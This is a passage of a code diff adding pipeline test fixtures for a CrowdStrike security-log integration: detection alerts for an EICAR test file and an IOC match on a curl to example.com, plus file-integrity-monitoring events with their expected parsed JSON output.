process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"explorer.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"FilesAccessed\":[{\"FileName\":\"eicarcom2.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371830},{\"FileName\":\"thumbcache_idx.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371830},{\"FileName\":\"GLEAM-LIGHT.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"GLEAM-DARK.svg\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.Search_cw5n1h2txyewy\\\\LocalState\\\\ShellFeeds\",\"Timestamp\":1751371835},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371841},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371842},{\"FileName\":\"eicar_com.zip\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\",\"Timestamp\":1751371843},{\"FileName\":\"iconcache_16.db\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\Explorer\",\"Timestamp\":1751371843}],\"FilesWritten\":[{\"FileName\":\"eicar.com\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com\",\"Timestamp\":1751371843},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371658},{\"FileName\":\"The Internet.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"windowsdefender--threat-.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371744},{\"FileName\":\"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\win10_user3\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\",\"Timestamp\":1751371761}],\"GrandParentCommandLine\":\"winlogon.exe\",\"GrandParentImageFileName\":\"winlogon.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\winlogon.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"23ba370fc8357f6f827812da142b5fcb\",\"Name\":\"Known Malware\",\"NetworkAccesses\":[{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49729,\"Protocol\":\"TCP\",\"RemoteAddress\":\"150.171.27.12\",\"RemotePort\":443},{\"AccessTimestamp\":1751371565,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49730,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.22.144.74\",\"RemotePort\":443},{\"AccessTimestamp\":1751371787,\"AccessType\":0,\"ConnectionDirection\":0,\"IsIPV6\":false,\"LocalAddress\":\"10.0.0.13\",\"LocalPort\":49948,\"Protocol\":\"TCP\",\"RemoteAddress\":\"2.18.27.89\",\"RemotePort\":443}],\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"ParentImageFileName\":\"userinit.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"ParentProcessId\":38850737845,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10418,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":38850874557,\"ProcessStartTime\":1751371562,\"ReferrerUrl\":\"C:\\\\Users\\\\win10_user3\\\\Downloads\\\\eicarcom2\\\\eicar_com.zip\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows",
+                "hash": {
+                    "md5": "23ba370fc8357f6f827812da142b5fcb",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7"
+                },
+                "name": "explorer.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+            "process": {
+                "command_line": "C:\\Windows\\Explorer.EXE",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "38850874557",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                "name": "explorer.exe",
+                "parent": {
+                    "entity_id": "38850737845",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
+                    "name": "userinit.exe"
+                },
+                "start": "2025-07-01T12:06:02.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7",
+                    "23ba370fc8357f6f827812da142b5fcb"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+                "name": "Known Malware"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2023-11-14T22:13:20.000Z",
+            "crowdstrike": {
+                "AgentIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                "AggregateId": "aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321",
+                "CloudIndicator": true,
+                "CompositeId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321",
+                "CustomerIdString": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                "DataDomains": "Endpoint",
+                "EventType": "Event_ExternalApiEvent",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
+                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
+                "GrandparentImageFileName": "sshd",
+                "GrandparentImageFilePath": "/usr/sbin/sshd",
+                "HostGroups": [
+                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                    "b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7"
+                ],
+                "IOCType": "domain",
+                "IOCValue": "example.com",
+                "MACAddress": "00-11-22-33-44-55",
+                "NetworkAccesses": [
+                    {
+                        "AccessTimestamp": "1700000001",
+                        "AccessType": "0",
+                        "IsIPV6": "false",
+                        "LocalAddress": "192.168.1.100",
+                        "LocalPort": "5353",
+                        "Protocol": "UDP",
+                        "RemoteAddress": "192.168.1.1",
+                        "RemotePort": "53"
+                    },
+                    {
+                        "AccessTimestamp": "1700000001",
+                        "AccessType": "0",
+                        "IsIPV6": "false",
+                        "LocalAddress": "192.168.1.100",
+                        "LocalPort": "44300",
+                        "Protocol": "TCP",
+                        "RemoteAddress": "192.168.1.2",
+                        "RemotePort": "443"
+                    }
+                ],
+                "Nonce": "1234567890123456789",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "-bash",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": "false",
+                    "BootupSafeguardEnabled": "false",
+                    "ContainmentFileSystem": "false",
+                    "CriticalProcessDisabled": "false",
+                    "Detect": "false",
+                    "FsOperationBlocked": "false",
+                    "HandleOperationDowngraded": "false",
+                    "InddetMask": "false",
+                    "Indicator": "false",
+                    "KillActionFailed": "false",
+                    "KillParent": "false",
+                    "KillProcess": "false",
+                    "KillSubProcess": "false",
+                    "OperationBlocked": "false",
+                    "PolicyDisabled": "false",
+                    "ProcessBlocked": "false",
+                    "QuarantineFile": "false",
+                    "QuarantineMachine": "false",
+                    "RegistryOperationBlocked": "false",
+                    "Rooting": "false",
+                    "SensorOnly": "false",
+                    "SuspendParent": "false",
+                    "SuspendProcess": "false"
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": "5306",
+                "PlatformId": "3",
+                "PlatformName": "Linux",
+                "SensorId": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                "Severity": "10",
+                "SeverityName": "Informational",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Custom Intelligence",
+                "Technique": "Indicator of Compromise",
+                "Type": "ldt",
+                "cid": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                "eid": "118"
+            },
+            "device": {
+                "id": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "created": "2023-11-14T22:13:20.000Z",
+                "id": "||a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                "kind": "alert",
+                "original": "{\"Tactic\":\"Custom Intelligence\",\"CustomerIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"EventType\":\"Event_ExternalApiEvent\",\"ParentProcessId\":\"1234567890123456789\",\"SourceVendors\":\"CrowdStrike\",\"AggregateId\":\"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321\",\"UTCTimestamp\":\"1700000000\",\"LogonDomain\":\"\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\"CompositeId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321\",\"Name\":\"Intel Detection\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SourceProducts\":\"Falcon Insight\",\"ProcessEndTime\":\"1700000001\",\"IOCValue\":\"example.com\",\"PatternId\":\"5306\",\"MitreAttack\":[{\"TacticID\":\"CSTA0005\",\"Tactic\":\"Custom Intelligence\",\"TechniqueID\":\"CST0005\",\"PatternID\":\"5306\",\"Technique\":\"Indicator of Compromise\"}],\"AgentId\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"ParentCommandLine\":\"-bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"DataDomains\":\"Endpoint\",\"LocalIPv6\":\"\",\"PatternDispositionFlags\":{\"BootupSafeguardEnabled\":\"false\",\"QuarantineFile\":\"false\",\"QuarantineMachine\":\"false\",\"HandleOperationDowngraded\":\"false\",\"Detect\":\"false\",\"RegistryOperationBlocked\":\"false\",\"KillParent\":\"false\",\"ContainmentFileSystem\":\"false\",\"Indicator\":\"false\",\"FsOperationBlocked\":\"false\",\"OperationBlocked\":\"false\",\"SuspendParent\":\"false\",\"SuspendProcess\":\"false\",\"KillProcess\":\"false\",\"ProcessBlocked\":\"false\",\"BlockingUnsupportedOrDisabled\":\"false\",\"PolicyDisabled\":\"false\",\"KillActionFailed\":\"false\",\"SensorOnly\":\"false\",\"CriticalProcessDisabled\":\"false\",\"KillSubProcess\":\"false\",\"Rooting\":\"false\",\"InddetMask\":\"false\"},\"Hostname\":\"test-host-01\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PlatformName\":\"Linux\",\"Nonce\":\"1234567890123456789\",\"Objective\":\"Falcon Detection Method\",\"ProcessStartTime\":\"1700000000\",\"Technique\":\"Indicator of Compromise\",\"cid\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"eid\":\"118\",\"Description\":\"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.\",\"FileName\":\"curl\",\"ParentImageFileName\":\"bash\",\"HostGroups\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7\",\"LocalIP\":\"192.168.1.100\",\"PlatformId\":\"3\",\"timestamp\":\"2023-11-15T12:00:00Z\",\"GrandParentImageFileName\":\"sshd\",\"FilePath\":\"/usr/bin/curl\",\"UserName\":\"testuser\",\"MD5String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5\",\"SeverityName\":\"Informational\",\"Severity\":\"10\",\"CloudIndicator\":\"true\",\"PatternDispositionValue\":\"0\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\",\"SHA256String\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"NetworkAccesses\":[{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.1\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"5353\",\"RemotePort\":\"53\",\"IsIPV6\":\"false\",\"Protocol\":\"UDP\",\"AccessType\":\"0\"},{\"AccessTimestamp\":\"1700000001\",\"RemoteAddress\":\"192.168.1.2\",\"LocalAddress\":\"192.168.1.100\",\"LocalPort\":\"44300\",\"RemotePort\":\"443\",\"IsIPV6\":\"false\",\"Protocol\":\"TCP\",\"AccessType\":\"0\"}],\"CommandLine\":\"curl https://example.com\",\"Type\":\"ldt\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"MACAddress\":\"00-11-22-33-44-55\",\"AgentIdString\":\"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6\",\"IOCType\":\"domain\",\"ProcessId\":\"1234567890123456789\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "/usr/bin",
+                "hash": {
+                    "md5": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
+                },
+                "name": "curl",
+                "path": "/usr/bin/curl"
+            },
+            "host": {
+                "hostname": "test-host-01",
+                "mac": [
+                    "00-11-22-33-44-55"
+                ],
+                "name": "test-host-01"
+            },
+            "message": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.",
+            "process": {
+                "command_line": "curl https://example.com",
+                "end": "2023-11-14T22:13:21.000Z",
+                "entity_id": "1234567890123456789",
+                "executable": "/usr/bin/curl",
+                "name": "curl",
+                "parent": {
+                    "entity_id": "1234567890123456789",
+                    "executable": "/usr/bin/bash",
+                    "name": "bash"
+                },
+                "start": "2023-11-14T22:13:20.000Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",
+                    "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5"
+                ],
+                "hosts": [
+                    "test-host-01"
+                ],
+                "ip": [
+                    "192.168.1.100"
+                ],
+                "user": [
+                    "testuser"
+                ]
+            },
+            "rule": {
+                "description": "A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.",
+                "name": "Intel Detection"
+            },
+            "source": {
+                "address": "192.168.1.100",
+                "ip": "192.168.1.100"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "id": [
+                        "CSTA0005"
+                    ],
+                    "name": [
+                        "Custom Intelligence"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0005"
+                    ],
+                    "name": [
+                        "Indicator of Compromise"
+                    ]
+                }
+            },
+            "user": {
+                "name": "testuser"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
new file mode 100644
index 0000000000..759ada717a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
@@ -0,0 +1,4 @@
+{"ChangeId":"808ac387293943aaadf692926d5672e4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435328,"Nonce":946031236533752407,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"808ac387-2939-43aa-adf6-92926d5672e4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
+{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":1314049827115114419,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
+{"ChangeId":"26a2448c6c174cac8cd2b46b74fe93ed","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:CREATE:/home/testuser/filevantage/test.txt::vi:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":"adb"},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1763453435173,"Nonce":8348878083986819890,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"26a2448c-6c17-4cac-8cd2-b46b74fe93ed","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-11-18T08:10:35Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
+{"ChangeId":"784c387c806a4adda54f83bc938d022d","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"root","ID":"0"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:FILE:ATTRIBUTES:/home/testuser/filevantage/test.txt::chattr:root"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764940158406,"Nonce":7339193177690829435,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"784c387c-806a-4add-a54f-83bc938d022d","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-05T13:09:18Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
new file mode 100644
index 0000000000..88ed6247f2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
@@ -0,0 +1,264 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2025-11-18T08:10:35.328Z",
+            "crowdstrike": {
+                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "ChangeId": "808ac387293943aaadf692926d5672e4",
+                "ContentDiff": {
+                    "Exists": false
+                },
+                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "808ac387-2939-43aa-adf6-92926d5672e4",
+                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
+                "Nonce": 946031236533752407,
+                "Policy": {
+                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
+                    "Name": "FileVantage Policy"
+                },
+                "Prevalence": {
+                    "Key": "1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser"
+                },
+                "Suppression": {
+                    "Suppressed": false
+                },
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "eid": 118
+            },
+            "event": {
+                "category": [
+                    "file"
+                ],
+                "created": "2025-11-18T08:10:35.328Z",
+                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
+                "original": "{\"ChangeId\":\"808ac387293943aaadf692926d5672e4\",\"Host\":{\"Name\":\"LINUX-TEST-HOST-01\"},\"User\":{\"Name\":\"testuser\",\"ID\":\"1000\"},\"Policy\":{\"Name\":\"FileVantage Policy\",\"RuleGroupName\":\"FileVantage Rule Group\",\"RuleBasePath\":\"/home/testuser/filevantage/\",\"ID\":\"8fd42a5c9ac24959a98d9e430837b5e6\"},\"Prevalence\":{\"Key\":\"1:3:FILE:WRITE:/home/testuser/filevantage/.test.txt.swp::vi:testuser\"},\"Suppression\":{\"Suppressed\":false},\"ContentDiff\":{\"Exists\":false,\"SHA256\":\"\"},\"CustomerIdString\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"UTCTimestamp\":1763453435328,\"Nonce\":946031236533752407,\"AgentIdString\":\"2e3d9c94d9c34764860b1f3b444c6d4d\",\"EventUUID\":\"808ac387-2939-43aa-adf6-92926d5672e4\",\"cid\":\"2cc98db1a47b4c98b913c94d43bfab70\",\"eid\":118,\"timestamp\":\"2025-11-18T08:10:35Z\",\"EventType\":\"Event_ExternalApiEvent\",\"ExternalApiType\":\"Event_FileIntegrityMonitorRuleMatchedEnriched\"}",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "hostname": "LINUX-TEST-HOST-01",
+                "name": "LINUX-TEST-HOST-01"
+            },
+            "related": {
+                "hosts": [
+                    "LINUX-TEST-HOST-01"
+                ],
+                "user": [
+                    "testuser",
+                    "1000"
+                ]
+            },
+            "rule": {
+                "name": "/home/testuser/filevantage/",
+                "ruleset": "FileVantage Rule Group"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "1000",
+                "name": "testuser"
+            }
+        },
+        {
+            "@timestamp": "2025-12-01T09:26:57.862Z",
+            "crowdstrike": {
+                "AgentIdString": "2e3d9c94d9c34764860b1f3b444c6d4d",
+                "ChangeId": "ca65aa54f7b9453b8ef199a5b2c8e3c4",
+                "ContentDiff": {
+                    "Exists": false
+                },
+                "CustomerIdString": "2cc98db1a47b4c98b913c94d43bfab70",
+                "EventType": "Event_ExternalApiEvent",
+                "EventUUID": "ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4",
+                "ExternalApiType": "Event_FileIntegrityMonitorRuleMatchedEnriched",
+                "Nonce": 1314049827115114419,
+                "Policy": {
+                    "ID": "8fd42a5c9ac24959a98d9e430837b5e6",
+                    "Name": "FileVantage Policy"
+                },
+                "Prevalence": {
+                    "Key": "1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"
+                },
+                "Suppression": {
+                    "Suppressed": false
+                },
+                "cid": "2cc98db1a47b4c98b913c94d43bfab70",
+                "eid": 118
+            },
+            "event": {
+                "category": [
+                    "file"
+                ],
+                "created": "2025-12-01T09:26:57.862Z",
+                "id": "||2cc98db1a47b4c98b913c94d43bfab70",
+                "kind": "event",
